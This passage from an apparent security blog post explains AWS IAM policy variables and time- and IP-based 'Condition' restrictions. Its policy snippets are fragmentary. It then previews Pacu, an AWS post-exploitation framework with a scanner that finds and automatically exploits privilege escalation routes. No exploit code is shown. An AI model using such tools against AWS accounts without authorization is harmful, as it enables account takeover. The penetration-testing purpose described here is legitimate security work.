“Statement”: [{
“Action”: [
“Effect”: “Allow”,
“Resource”: [“arn:aws:iam::ACCOUNT-ID:user/${aws:username}”]

Now for any user that this policy is attached to, they can only perform those four actions on themselves, because of the user of the “aws:username” variables. This example policy shows how to correctly format those variables to be recognized correctly by IAM, which is done by putting the IAM variable name inside curly-brackets that begin with a money sign (${example-variable}).

To restrict access to a certain IP address, the IAM policy must user the “Condition” key to set a condition that the IAM user is allowed to perform these actions, if and only if this condition is set. The following IAM policy document snippet shows “Condition” being used to restrict access to only those users who run API calls after a certain time (2013-08-16T12:00:00Z), before another time (2013-08-16T15:00:00Z) and having an IP address originating from a certain CIDR range ( or


“Condition” :  {

“DateGreaterThan” : {

“aws:CurrentTime” : “2013-08-16T12:00:00Z”


“DateLessThan”: {

“aws:CurrentTime” : “2013-08-16T15:00:00Z”


“IpAddress” : {

“aws:SourceIp” : [“”, “”]




Preview: AWS Exploitation and Pacu

This AWS privilege escalation scanner came from a larger Rhino project currently in development – Pacu (aptly named after a type of Piranha in the Amazon).

Pacu is an open source AWS post-exploitation framework, designed for offensive security testing against AWS environments.

Created and maintained by Rhino Security Labs, the framework allows penetration testers to identify areas of attack once initial access is obtained to an AWS account.  Like other open source offensive security tools, Pacu is built to identify AWS flaws and misconfigurations, helping AWS users better understand the impact of those risks.

Pacu and over 50 supporting attack modules will be released at Blackhat/Defcon.

One of these modules will be a similar privilege escalation scanner, with the option to exploit any vulnerable account automatically.  This following video shows Pacu identifying a privilege escalation route and exploiting it for immediate AWS administrator access.

Pacu Beta Testing

EDIT (8/13/18): Pacu beta has now been closed and is now live on GitHub:

A supporting OWASP Talk can be found on YouTube here.